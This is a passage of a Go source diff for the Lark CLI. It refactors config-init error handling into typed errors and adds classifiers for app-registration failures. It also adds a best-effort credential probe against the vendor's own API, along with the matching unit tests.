-		Brand:     core.LarkBrand(normalizeBrand(selected.Brand)),
+		Brand:     core.ParseBrand(selected.Brand),
 	}, nil
 }
 
@@ -261,7 +261,7 @@ func (b *hermesBinder) Build(appID string) (*core.AppConfig, error) {
 	return &core.AppConfig{
 		AppId:     appID,
 		AppSecret: stored,
-		Brand:     core.LarkBrand(normalizeBrand(b.envMap["FEISHU_DOMAIN"])),
+		Brand:     core.ParseBrand(b.envMap["FEISHU_DOMAIN"]),
 	}, nil
 }
 
@@ -326,7 +326,7 @@ func (b *larkChannelBinder) Build(appID string) (*core.AppConfig, error) {
 	return &core.AppConfig{
 		AppId:     appID,
 		AppSecret: stored,
-		Brand:     core.LarkBrand(normalizeBrand(b.cfg.Accounts.App.Tenant)),
+		Brand:     core.ParseBrand(b.cfg.Accounts.App.Tenant),
 	}, nil
 }
 
@@ -350,16 +350,6 @@ func sourceDisplayName(source string) string {
 	}
 }
 
-// normalizeBrand applies .strip().lower() and defaults to "feishu".
-// Aligns with Hermes gateway/platforms/feishu.py:1119 behavior.
-func normalizeBrand(raw string) string {
-	s := strings.TrimSpace(strings.ToLower(raw))
-	if s == "" {
-		return "feishu"
-	}
-	return s
-}
-
 // resolveHermesEnvPath returns the path to Hermes's .env file.
 // Respects HERMES_HOME override; defaults to ~/.hermes/.env.
 //

cmd/config/binder_test.go

@@ -51,7 +51,7 @@ func assertCandidate(t *testing.T, got *Candidate, want Candidate) {
 func TestSelectCandidate_ZeroCandidates_OpenClaw(t *testing.T) {
 	b := &fakeBinder{name: "openclaw", path: "/tmp/openclaw.json"}
 	_, err := selectCandidate(b, nil, "", false, tuiUnreachable(t))
-	assertExitError(t, err, output.ExitAuth, output.ErrDetail{
+	assertExitError(t, err, output.ExitAuth, wantErrDetail{
 		Type:    "config",
 		Message: "no Feishu app configured in openclaw.json",
 		Hint:    "configure channels.feishu.appId in openclaw.json",
@@ -64,7 +64,7 @@ func TestSelectCandidate_ZeroCandidates_GenericSource(t *testing.T) {
 	// even before it has a bespoke error message.
 	b := &fakeBinder{name: "hermes", path: "/tmp/.env"}
 	_, err := selectCandidate(b, nil, "", false, tuiUnreachable(t))
-	assertExitError(t, err, output.ExitAuth, output.ErrDetail{
+	assertExitError(t, err, output.ExitAuth, wantErrDetail{
 		Type:    "config",
 		Message: "hermes: no app configured",
 	})
@@ -100,7 +100,7 @@ func TestSelectCandidate_AppIDFlag_NoMatch(t *testing.T) {
 		{AppID: "cli_home", Label: "home"},
 	}
 	_, err := selectCandidate(b, candidates, "nonexistent", false, tuiUnreachable(t))
-	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+	assertExitError(t, err, output.ExitValidation, wantErrDetail{
 		Type:    "validation",
 		Message: `--app-id "nonexistent" not found in openclaw.json`,
 		Hint:    "available app IDs:\n  cli_work (work)\n  cli_home (home)",
@@ -117,7 +117,7 @@ func TestSelectCandidate_MultiCandidate_NoFlag_NonTUI(t *testing.T) {
 		{AppID: "cli_home", Label: "home"},
 	}
 	_, err := selectCandidate(b, candidates, "", false, tuiUnreachable(t))
-	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+	assertExitError(t, err, output.ExitValidation, wantErrDetail{
 		Type:    "validation",
 		Message: "multiple accounts in openclaw.json; pass --app-id <id>",
 		Hint:    "available app IDs:\n  cli_work (work)\n  cli_home (home)",
@@ -152,7 +152,7 @@ func TestSelectCandidate_SingleCandidate_WrongFlag(t *testing.T) {
 	b := &fakeBinder{name: "openclaw", path: "/tmp/openclaw.json"}
 	candidates := []Candidate{{AppID: "cli_only"}}
 	_, err := selectCandidate(b, candidates, "nonexistent", false, tuiUnreachable(t))
-	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+	assertExitError(t, err, output.ExitValidation, wantErrDetail{
 		Type:    "validation",
 		Message: `--app-id "nonexistent" not found in openclaw.json`,
 		Hint:    "available app IDs:\n  cli_only",

cmd/config/config_test.go

@@ -12,6 +12,7 @@ import (
 	"strings"
 	"testing"
 
+	"github.com/larksuite/cli/errs"
 	extcred "github.com/larksuite/cli/extension/credential"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
@@ -92,16 +93,16 @@ func TestConfigShowRun_NotConfiguredReturnsStructuredError(t *testing.T) {
 		t.Fatal("expected error")
 	}
 
-	var cfgErr *core.ConfigError
+	var cfgErr *errs.ConfigError
 	if !errors.As(err, &cfgErr) {
-		t.Fatalf("error type = %T, want *core.ConfigError", err)
+		t.Fatalf("error type = %T, want *errs.ConfigError", err)
 	}
 	// Config errors share ExitAuth (3), not ExitValidation.
-	if cfgErr.Code != output.ExitAuth {
-		t.Fatalf("exit code = %d, want %d (config category → ExitAuth)", cfgErr.Code, output.ExitAuth)
+	if got := output.ExitCodeOf(err); got != output.ExitAuth {
+		t.Fatalf("exit code = %d, want %d (config category → ExitAuth)", got, output.ExitAuth)
 	}
-	if cfgErr.Type != "config" || cfgErr.Message != "not configured" {
-		t.Fatalf("detail = %+v, want config/not configured", cfgErr)
+	if cfgErr.Subtype != errs.SubtypeNotConfigured || cfgErr.Message != "not configured" {
+		t.Fatalf("detail = %+v, want not_configured/not configured", cfgErr)
 	}
 }
 
@@ -233,15 +234,21 @@ func TestConfigInitCmd_InvalidLang(t *testing.T) {
 			if err == nil {
 				t.Fatalf("expected validation error for --lang %q, got nil", tc.lang)
 			}
-			exitErr, ok := err.(*output.ExitError)
-			if !ok {
-				t.Fatalf("expected *output.ExitError, got %T: %v", err, err)
+			var valErr *errs.ValidationError
+			if !errors.As(err, &valErr) {
+				t.Fatalf("expected *errs.ValidationError, got %T: %v", err, err)
 			}
-			if exitErr.Code != output.ExitValidation {
-				t.Errorf("exit code = %d, want %d (validation)", exitErr.Code, output.ExitValidation)
+			if valErr.Subtype != errs.SubtypeInvalidArgument {
+				t.Errorf("subtype = %q, want %q", valErr.Subtype, errs.SubtypeInvalidArgument)
 			}
-			if !strings.Contains(exitErr.Error(), "invalid --lang") {
-				t.Errorf("error message %q does not contain 'invalid --lang'", exitErr.Error())
+			if valErr.Param != "--lang" {
+				t.Errorf("param = %q, want %q", valErr.Param, "--lang")
+			}
+			if got := output.ExitCodeOf(err); got != output.ExitValidation {
+				t.Errorf("exit code = %d, want %d (validation)", got, output.ExitValidation)
+			}
+			if !strings.Contains(err.Error(), "invalid --lang") {
+				t.Errorf("error message %q does not contain 'invalid --lang'", err.Error())
 			}
 		})
 	}
@@ -385,8 +392,38 @@ func TestSaveAsProfile_RejectsProfileNameCollisionWithExistingAppID(t *testing.T
 	if err == nil {
 		t.Fatal("expected conflict error")
 	}
-	if !strings.Contains(err.Error(), "conflicts with existing appId") {
-		t.Fatalf("error = %v, want conflict with existing appId", err)
+	// A name/appId conflict is user input — a typed validation error naming the
+	// offending flag, not a system storage failure.
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) {
+		t.Fatalf("error type = %T, want *errs.ValidationError; err=%v", err, err)
+	}
+	if verr.Subtype != errs.SubtypeInvalidArgument {
+		t.Errorf("subtype = %q, want invalid_argument", verr.Subtype)
+	}
+	if verr.Param != "--name" {
+		t.Errorf("param = %q, want --name", verr.Param)
+	}
+	if output.ExitCodeOf(err) != output.ExitValidation {
+		t.Errorf("exit code = %d, want %d (validation)", output.ExitCodeOf(err), output.ExitValidation)
+	}
+	if !strings.Contains(verr.Message, "conflicts with existing appId") {
+		t.Errorf("message = %q, want conflict description", verr.Message)
+	}
+}
+
+// TestWrapSaveConfigError_PassesTypedValidationThrough pins that a user-input
+// validation error (e.g. the --name conflict) is not reclassified as an
+// internal storage failure on its way up through the save call sites.
+func TestWrapSaveConfigError_PassesTypedValidationThrough(t *testing.T) {
+	conflict := errs.NewValidationError(errs.SubtypeInvalidArgument, "name conflict").WithParam("--name")
+	var verr *errs.ValidationError
+	if !errors.As(wrapSaveConfigError(conflict), &verr) {
+		t.Fatalf("typed validation must pass through unchanged, got %T", wrapSaveConfigError(conflict))
+	}
+	var ierr *errs.InternalError
+	if !errors.As(wrapSaveConfigError(errors.New("disk full")), &ierr) || ierr.Subtype != errs.SubtypeStorage {
+		t.Fatalf("untyped failure must become internal/storage")
 	}
 }
 

cmd/config/init.go

@@ -6,13 +6,11 @@ package config
 import (
 	"bufio"
 	"context"
-	"errors"
 	"fmt"
 	"io"
 	"os"
 	"strings"
 
-	"github.com/charmbracelet/huh"
 	"github.com/spf13/cobra"
 
 	"github.com/larksuite/cli/errs"
@@ -127,12 +125,9 @@ func guardAgentWorkspace(opts *ConfigInitOptions) error {
 	if ws.IsLocal() {
 		return nil
 	}
-	return &core.ConfigError{
-		Code:    2,
-		Type:    ws.Display(),
-		Message: fmt.Sprintf("config init is refused inside %s context (would create a parallel app and shadow the existing %s binding)", ws.Display(), ws.Display()),
-		Hint:    "see `lark-cli config bind --help` to bind lark-cli to the Agent's existing app instead. Pass --force-init only if the user explicitly wants a separate app in this workspace.",
-	}
+	return errs.NewConfigError(errs.SubtypeNotConfigured,
+		"config init is refused inside %s context (would create a parallel app and shadow the existing %s binding)", ws.Display(), ws.Display()).
+		WithHint("see `lark-cli config bind --help` to bind lark-cli to the Agent's existing app instead. Pass --force-init only if the user explicitly wants a separate app in this workspace.")
 }
 
 // hasAnyNonInteractiveFlag returns true if any non-interactive flag is set.
@@ -183,6 +178,20 @@ func saveInitConfig(profileName string, existing *core.MultiAppConfig, f *cmduti
 	return saveAsOnlyApp(appId, secret, brand, string(preferredLang(i18n.Lang(lang), prior)))
 }
 
+// wrapSaveConfigError passes an already-typed error (e.g. the --name conflict
+// validation error from saveAsProfile) through unchanged, and classifies any
+// other failure as an internal storage error. Without the passthrough a user
+// input error would surface to agents as a system storage failure.
+func wrapSaveConfigError(err error) error {
+	if err == nil {
+		return nil
+	}
+	if _, ok := errs.ProblemOf(err); ok {
+		return err
+	}
+	return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
+}
+
 // saveAsProfile appends or updates a named profile in the config.
 // If a profile with the same name exists, it updates it; otherwise appends.
 // When updating, cleans up old keychain secrets if AppId changed.
@@ -207,7 +216,9 @@ func saveAsProfile(existing *core.MultiAppConfig, kc keychain.KeychainAccess, pr
 		multi.Apps[idx].Lang = preferredLang(i18n.Lang(lang), multi.Apps[idx].Lang)
 	} else {
 		if findAppIndexByAppID(multi, profileName) >= 0 {
-			return fmt.Errorf("profile name %q conflicts with existing appId", profileName)
+			return errs.NewValidationError(errs.SubtypeInvalidArgument,
+				"profile name %q conflicts with existing appId", profileName).
+				WithParam("--name")
 		}
 		// Append new profile
 		multi.Apps = append(multi.Apps, core.AppConfig{
@@ -249,8 +260,8 @@ func findAppIndexByAppID(multi *core.MultiAppConfig, appID string) int {
 // wrapUpdateExistingProfileErr classifies the error returned by
 // updateExistingProfileWithoutSecret. Typed errors (e.g. *errs.ValidationError
 // for blank-input) pass through unchanged so their exit code semantics
-// survive; legacy *output.ExitError also passes through; everything else
-// (filesystem, keychain, etc.) is wrapped as InternalError.
+// survive; everything else (filesystem, keychain, etc.) is wrapped as
+// InternalError.
 func wrapUpdateExistingProfileErr(err error) error {
 	if err == nil {
 		return nil
@@ -258,10 +269,6 @@ func wrapUpdateExistingProfileErr(err error) error {
 	if errs.IsTyped(err) {
 		return err
 	}
-	var exitErr *output.ExitError
-	if errors.As(err, &exitErr) {
-		return err
-	}
 	return errs.NewInternalError(errs.SubtypeSDKError, "failed to save config: %v", err).WithCause(err)
 }
 
@@ -336,11 +343,14 @@ func configInitRun(opts *ConfigInitOptions) error {
 			return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
 		}
 		if err := saveInitConfig(opts.ProfileName, existing, f, opts.AppID, secret, brand, opts.Lang); err != nil {
-			return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
+			return wrapSaveConfigError(err)
 		}
 		output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf("Configuration saved to %s", core.GetConfigPath()))
 		printLangPreferenceConfirmation(opts)
 		output.PrintJson(f.IOStreams.Out, map[string]interface{}{"appId": opts.AppID, "appSecret": "****", "brand": brand})
+		if err := runProbe(opts.Ctx, f, opts.AppID, opts.appSecret, brand); err != nil {
+			return err
+		}
 		return nil
 	}
 
@@ -350,10 +360,7 @@ func configInitRun(opts *ConfigInitOptions) error {
 	if f.IOStreams.IsTerminal && !opts.langExplicit && !opts.hasAnyNonInteractiveFlag() {
 		lang, err := promptLangSelection()
 		if err != nil {
-			if err == huh.ErrUserAborted {
-				return output.ErrBare(1)
-			}
-			return output.Errorf(output.ExitInternal, "internal", "language selection failed: %v", err)
+			return langSelectionError(err)
 		}
 		opts.Lang = string(lang)
 		opts.UILang = lang
@@ -376,10 +383,13 @@ func configInitRun(opts *ConfigInitOptions) error {
 			return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
 		}
 		if err := saveInitConfig(opts.ProfileName, existing, f, result.AppID, secret, result.Brand, opts.Lang); err != nil {
-			return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
+			return wrapSaveConfigError(err)
 		}
 		printLangPreferenceConfirmation(opts)
 		output.PrintJson(f.IOStreams.Out, map[string]interface{}{"appId": result.AppID, "appSecret": "****", "brand": result.Brand})
+		if err := runProbe(opts.Ctx, f, result.AppID, result.AppSecret, result.Brand); err != nil {
+			return err
+		}
 		return nil
 	}
 
@@ -403,7 +413,7 @@ func configInitRun(opts *ConfigInitOptions) error {
 				return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
 			}
 			if err := saveInitConfig(opts.ProfileName, existing, f, result.AppID, secret, result.Brand, opts.Lang); err != nil {
-				return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
+				return wrapSaveConfigError(err)
 			}
 		} else if result.Mode == "existing" && result.AppID != "" {
 			// Existing app with unchanged secret — update app ID and brand only
@@ -419,6 +429,11 @@ func configInitRun(opts *ConfigInitOptions) error {
 			output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf(msg.ConfigSaved, result.AppID))
 		}
 		printLangPreferenceConfirmation(opts)
+		if result.AppSecret != "" {
+			if err := runProbe(opts.Ctx, f, result.AppID, result.AppSecret, result.Brand); err != nil {
+				return err
+			}
+		}
 		return nil
 	}
 
@@ -503,9 +518,14 @@ func configInitRun(opts *ConfigInitOptions) error {
 		return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
 	}
 	if err := saveInitConfig(opts.ProfileName, existing, f, resolvedAppId, storedSecret, parseBrand(resolvedBrand), opts.Lang); err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
+		return wrapSaveConfigError(err)
 	}
 	output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf("Configuration saved to %s", core.GetConfigPath()))
 	printLangPreferenceConfirmation(opts)
+	if appSecretInput != "" {
+		if err := runProbe(opts.Ctx, f, resolvedAppId, appSecretInput, parseBrand(resolvedBrand)); err != nil {
+			return err
+		}
+	}
 	return nil
 }

cmd/config/init_guard_test.go

@@ -8,7 +8,7 @@ import (
 	"strings"
 	"testing"
 
-	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/errs"
 )
 
 func TestGuardAgentWorkspace_LocalAllows(t *testing.T) {
@@ -26,12 +26,15 @@ func TestGuardAgentWorkspace_OpenClawRefuses(t *testing.T) {
 	if err == nil {
 		t.Fatal("expected refusal in OpenClaw context, got nil")
 	}
-	var cfgErr *core.ConfigError
+	var cfgErr *errs.ConfigError
 	if !errors.As(err, &cfgErr) {
-		t.Fatalf("error type = %T, want *core.ConfigError", err)
+		t.Fatalf("error type = %T, want *errs.ConfigError", err)
 	}
-	if cfgErr.Type != "openclaw" {
-		t.Errorf("type = %q, want %q", cfgErr.Type, "openclaw")
+	if cfgErr.Subtype != errs.SubtypeNotConfigured {
+		t.Errorf("subtype = %q, want not_configured", cfgErr.Subtype)
+	}
+	if !strings.Contains(cfgErr.Message, "openclaw") {
+		t.Errorf("message must name the openclaw workspace; got %q", cfgErr.Message)
 	}
 	if !strings.Contains(cfgErr.Hint, "config bind --help") {
 		t.Errorf("hint must point to config bind --help; got %q", cfgErr.Hint)
@@ -48,12 +51,15 @@ func TestGuardAgentWorkspace_HermesRefuses(t *testing.T) {
 	if err == nil {
 		t.Fatal("expected refusal in Hermes context, got nil")
 	}
-	var cfgErr *core.ConfigError
+	var cfgErr *errs.ConfigError
 	if !errors.As(err, &cfgErr) {
-		t.Fatalf("error type = %T, want *core.ConfigError", err)
+		t.Fatalf("error type = %T, want *errs.ConfigError", err)
 	}
-	if cfgErr.Type != "hermes" {
-		t.Errorf("type = %q, want %q", cfgErr.Type, "hermes")
+	if cfgErr.Subtype != errs.SubtypeNotConfigured {
+		t.Errorf("subtype = %q, want not_configured", cfgErr.Subtype)
+	}
+	if !strings.Contains(cfgErr.Message, "hermes") {
+		t.Errorf("message must name the hermes workspace; got %q", cfgErr.Message)
 	}
 }
 

cmd/config/init_interactive.go

@@ -5,7 +5,9 @@ package config
 
 import (
 	"context"
+	"errors"
 	"fmt"
+	"net"
 
 	"github.com/charmbracelet/huh"
 	"github.com/larksuite/cli/internal/build"
@@ -180,9 +182,9 @@ func runCreateAppFlow(ctx context.Context, f *cmdutil.Factory, brandOverride cor
 	// Use the shared proxy-plugin-aware transport so registration traffic is not
 	// a bypass of proxy plugin mode.
 	httpClient := transport.NewHTTPClient(0)
-	authResp, err := larkauth.RequestAppRegistration(httpClient, larkBrand, f.IOStreams.ErrOut)
+	authResp, err := larkauth.RequestAppRegistration(ctx, httpClient, larkBrand, f.IOStreams.ErrOut)
 	if err != nil {
-		return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "app registration failed: %v", err).WithCause(err)
+		return nil, classifyRegistrationBeginError(err)
 	}
 
 	// Step 2: Build and display verification URL + QR code
@@ -208,33 +210,17 @@ func runCreateAppFlow(ctx context.Context, f *cmdutil.Factory, brandOverride cor
 		fmt.Fprintf(f.IOStreams.ErrOut, "  %s\n\n", verificationURL)
 		fmt.Fprintf(f.IOStreams.ErrOut, "%s\n", msg.WaitingForScanNonTTY)
 	}
-	result, err := larkauth.PollAppRegistration(ctx, httpClient, core.BrandFeishu, authResp.DeviceCode, authResp.Interval, authResp.ExpiresIn, f.IOStreams.ErrOut)
+	// Step 4: Poll for credentials (brand discovery lives in internal/auth);
+	// this layer only classifies the terminal error and saves the result.
+	result, finalBrand, err := larkauth.RegisterAppWithDiscovery(ctx, httpClient, authResp, f.IOStreams.ErrOut)
 	if err != nil {
-		return nil, errs.NewAuthenticationError(errs.SubtypeUnknown, "%v", err).WithCause(err)
-	}
-
-	// Step 4: Handle Lark brand special case
-	// If tenant_brand=lark and no client_secret, retry with lark brand endpoint
-	if result.ClientSecret == "" && result.UserInfo != nil && result.UserInfo.TenantBrand == "lark" {
-		// fmt.Fprintf(f.IOStreams.ErrOut, "%s\n", msg.DetectedLarkTenant)
-		result, err = larkauth.PollAppRegistration(ctx, httpClient, core.BrandLark, authResp.DeviceCode, authResp.Interval, authResp.ExpiresIn, f.IOStreams.ErrOut)
-		if err != nil {
-			return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "lark endpoint retry failed: %v", err).WithCause(err)
-		}
+		return nil, classifyRegistrationError(err)
 	}
 
 	if result.ClientID == "" || result.ClientSecret == "" {
 		return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "app registration succeeded but missing client_id or client_secret")
 	}
 
-	// Determine final brand from response
-	finalBrand := larkBrand
-	if result.UserInfo != nil && result.UserInfo.TenantBrand == "lark" {
-		finalBrand = core.BrandLark
-	} else if result.UserInfo != nil && result.UserInfo.TenantBrand == "feishu" {
-		finalBrand = core.BrandFeishu
-	}
-
 	fmt.Fprintln(f.IOStreams.ErrOut)
 	output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf(msg.AppCreated, result.ClientID))
 
@@ -245,3 +231,40 @@ func runCreateAppFlow(ctx context.Context, f *cmdutil.Factory, brandOverride cor
 		AppSecret: result.ClientSecret,
 	}, nil
 }
+
+// classifyRegistrationBeginError keeps transport/cancellation failures out of
+// the invalid-client category: the begin request sends no app credentials.
+func classifyRegistrationBeginError(err error) error {
+	switch {
+	case errors.Is(err, context.Canceled):
+		return errs.NewAuthenticationError(errs.SubtypeUnknown, "app registration cancelled").WithCause(err)
+	case errors.Is(err, context.DeadlineExceeded):
+		return errs.NewNetworkError(errs.SubtypeNetworkTimeout, "app registration begin timed out: %v", err).WithCause(err)
+	}
+	var netErr net.Error
+	if errors.As(err, &netErr) {
+		subtype := errs.SubtypeNetworkTransport
+		if netErr.Timeout() {
+			subtype = errs.SubtypeNetworkTimeout
+		}
+		return errs.NewNetworkError(subtype, "app registration begin failed: %v", err).WithCause(err)
+	}
+	return errs.NewAPIError(errs.SubtypeUnknown, "app registration begin failed: %v", err).WithCause(err)
+}
+
+// classifyRegistrationError maps registration terminal outcomes to typed
+// errors, preserving causes.
+func classifyRegistrationError(err error) error {
+	switch {
+	case errors.Is(err, larkauth.ErrRegistrationDenied):
+		return errs.NewAuthenticationError(errs.SubtypeUnknown, "%v", err).
+			WithHint("re-run `lark-cli config init --new` and approve the authorization request").
+			WithCause(err)
+	case errors.Is(err, larkauth.ErrRegistrationExpired), errors.Is(err, larkauth.ErrRegistrationTimedOut):
+		return errs.NewAuthenticationError(errs.SubtypeTokenExpired, "%v", err).
+			WithHint("re-run `lark-cli config init --new` and complete the scan before the code expires").
+			WithCause(err)
+	default:
+		return errs.NewAuthenticationError(errs.SubtypeUnknown, "app registration failed: %v", err).WithCause(err)
+	}
+}

cmd/config/init_interactive_test.go

@@ -0,0 +1,70 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package config
+
+import (
+	"context"
+	"errors"
+	"net"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	larkauth "github.com/larksuite/cli/internal/auth"
+)
+
+func assertRegistrationProblem(t *testing.T, got, cause error, category errs.Category, subtype errs.Subtype) *errs.Problem {
+	t.Helper()
+	p, ok := errs.ProblemOf(got)
+	if !ok {
+		t.Fatalf("error %T is not typed: %v", got, got)
+	}
+	if p.Category != category || p.Subtype != subtype {
+		t.Errorf("problem = (%q, %q), want (%q, %q)", p.Category, p.Subtype, category, subtype)
+	}
+	if !errors.Is(got, cause) {
+		t.Errorf("error %v does not preserve cause %v", got, cause)
+	}
+	return p
+}
+
+func TestClassifyRegistrationBeginError(t *testing.T) {
+	tests := []struct {
+		name     string
+		err      error
+		category errs.Category
+		subtype  errs.Subtype
+	}{
+		{"cancelled", context.Canceled, errs.CategoryAuthentication, errs.SubtypeUnknown},
+		{"deadline", context.DeadlineExceeded, errs.CategoryNetwork, errs.SubtypeNetworkTimeout},
+		{"transport", &net.DNSError{Err: "lookup failed", Name: "accounts.example"}, errs.CategoryNetwork, errs.SubtypeNetworkTransport},
+		{"response", errors.New("response not JSON"), errs.CategoryAPI, errs.SubtypeUnknown},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			assertRegistrationProblem(t, classifyRegistrationBeginError(tt.err), tt.err, tt.category, tt.subtype)
+		})
+	}
+}
+
+func TestClassifyRegistrationError(t *testing.T) {
+	tests := []struct {
+		name    string
+		err     error
+		subtype errs.Subtype
+		hint    bool
+	}{
+		{"denied", larkauth.ErrRegistrationDenied, errs.SubtypeUnknown, true},
+		{"expired", larkauth.ErrRegistrationExpired, errs.SubtypeTokenExpired, true},
+		{"timed-out", larkauth.ErrRegistrationTimedOut, errs.SubtypeTokenExpired, true},
+		{"cancelled", context.Canceled, errs.SubtypeUnknown, false},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			p := assertRegistrationProblem(t, classifyRegistrationError(tt.err), tt.err, errs.CategoryAuthentication, tt.subtype)
+			if (p.Hint != "") != tt.hint {
+				t.Errorf("hint = %q, want non-empty=%v", p.Hint, tt.hint)
+			}
+		})
+	}
+}

cmd/config/init_messages.go

@@ -4,10 +4,14 @@
 package config
 
 import (
+	"errors"
+
 	"github.com/charmbracelet/huh"
 
+	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/i18n"
+	"github.com/larksuite/cli/internal/output"
 )
 
 type initMsg struct {
@@ -97,3 +101,12 @@ func promptLangSelection() (i18n.Lang, error) {
 	}
 	return lang, nil
 }
+
+// langSelectionError maps a promptLangSelection failure to its exit surface:
+// user abort exits bare with code 1; any other failure is internal.
+func langSelectionError(err error) error {
+	if errors.Is(err, huh.ErrUserAborted) {
+		return output.ErrBare(1)
+	}
+	return errs.NewInternalError(errs.SubtypeUnknown, "language selection failed: %v", err).WithCause(err)
+}

cmd/config/init_probe.go

@@ -0,0 +1,92 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package config
+
+import (
+	"bytes"
+	"context"
+	"fmt"
+	"io"
+	"net/http"
+	"time"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/build"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/credential"
+)
+
+// probeTimeout is the total wall-clock budget for the credential probe step
+// (covering both TAT acquisition and the subsequent probe request).
+const probeTimeout = 3 * time.Second
+
+// runProbe runs a best-effort credential validation after config init has
+// persisted the App ID and App Secret. It returns a non-nil error only for a
+// deterministic credential-rejection signal; every other outcome returns nil
+// so that valid configurations and transient/upstream noise never block the
+// command.
+//
+// The function performs up to two HTTP calls in series, bounded by
+// probeTimeout:
+//
+//  1. A TAT request using the just-saved credentials. credential.FetchTAT
+//     returns a typed errs.* error (via the shared classifyTATResponseCode)
+//     only when the unified Token Endpoint deterministically rejected the
+//     credentials — an OAuth2 invalid_client / unauthorized_client classified as
+//     CategoryConfig / SubtypeInvalidClient, or whatever codemeta maps. That
+//     typed error is propagated so the root dispatcher renders the canonical
+//     envelope and `config init` exits non-zero — identical to how every other
+//     token-resolving command reports the same bad credentials. Ambiguous
+//     failures (transport errors, transient 5xx/server_error, JSON parse errors,
+//     timeouts) come back as raw untyped errors and are swallowed (return nil),
+//     so valid configurations are never disturbed by upstream noise.
+//     errs.IsTyped is the discriminator.
+//
+//  2. If TAT succeeded, a POST to the probe endpoint is fired. The outcome of
+//     that call (success, server error, timeout, parse failure) is always
+//     ignored — return nil regardless.
+func runProbe(parent context.Context, factory *cmdutil.Factory, appID, appSecret string, brand core.LarkBrand) error {
+	if factory == nil {
+		return nil
+	}
+	httpClient, err := factory.HttpClient()
+	if err != nil {
+		return nil
+	}
+
+	ctx, cancel := context.WithTimeout(parent, probeTimeout)
+	defer cancel()
+
+	token, err := credential.FetchTAT(ctx, httpClient, brand, appID, appSecret)
+	if err != nil {
+		// A typed error from FetchTAT is a deterministic credential rejection
+		// (classifyTATResponseCode). Propagate it so config init exits with the
+		// same envelope the rest of the CLI uses for bad credentials. Untyped
+		// errors are ambiguous (transport / HTTP / parse / timeout) — stay
+		// silent and let the command succeed.
+		if errs.IsTyped(err) {
+			return err
+		}
+		return nil
+	}
+
+	// TAT succeeded — fire the probe call. Any outcome is ignored.
+	url := core.ResolveEndpoints(brand).Open + "/open-apis/application/v6/larksuite_cli_app/probe"
+	body := []byte(fmt.Sprintf(`{"from":"lark-cli/%s"}`, build.Version))
+	req, err := http.NewRequestWithContext(ctx, http.MethodPost, url, bytes.NewReader(body))
+	if err != nil {
+		return nil
+	}
+	req.Header.Set("Authorization", "Bearer "+token)
+	req.Header.Set("Content-Type", "application/json")
+
+	resp, err := httpClient.Do(req)
+	if err != nil {
+		return nil
+	}
+	defer resp.Body.Close()
+	_, _ = io.Copy(io.Discard, resp.Body)
+	return nil
+}

cmd/config/init_probe_test.go

@@ -0,0 +1,287 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package config
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"io"
+	"net/http"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/build"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+)
+
+// fakeRT routes requests to per-path handlers and records what it saw.
+type fakeRT struct {
+	tatHandler   func(req *http.Request) (*http.Response, error)
+	probeHandler func(req *http.Request) (*http.Response, error)
+	tatCalls     int
+	probeCalls   int
+	probeReq     *http.Request
+	probeBody    string
+}
+
+func (f *fakeRT) RoundTrip(req *http.Request) (*http.Response, error) {
+	switch {
+	case strings.HasSuffix(req.URL.Path, "/oauth/v3/token"):
+		f.tatCalls++
+		if f.tatHandler == nil {
+			return jsonResp(200, `{"code":0,"access_token":"t-ok","token_type":"Bearer"}`), nil
+		}
+		return f.tatHandler(req)
+	case strings.HasSuffix(req.URL.Path, "/application/v6/larksuite_cli_app/probe"):
+		f.probeCalls++
+		f.probeReq = req
+		if req.Body != nil {
+			b, _ := io.ReadAll(req.Body)
+			f.probeBody = string(b)
+		}
+		if f.probeHandler == nil {
+			return jsonResp(200, `{"code":0,"data":{},"msg":"success"}`), nil
+		}
+		return f.probeHandler(req)
+	}
+	return nil, errors.New("unexpected URL: " + req.URL.String())
+}
+
+func jsonResp(code int, body string) *http.Response {
+	return &http.Response{
+		StatusCode: code,
+		Body:       io.NopCloser(strings.NewReader(body)),
+		Header:     make(http.Header),
+	}
+}
+
+// fakeFactory builds a test Factory whose HttpClient is overridden to use
+// the caller-supplied RoundTripper.
+//
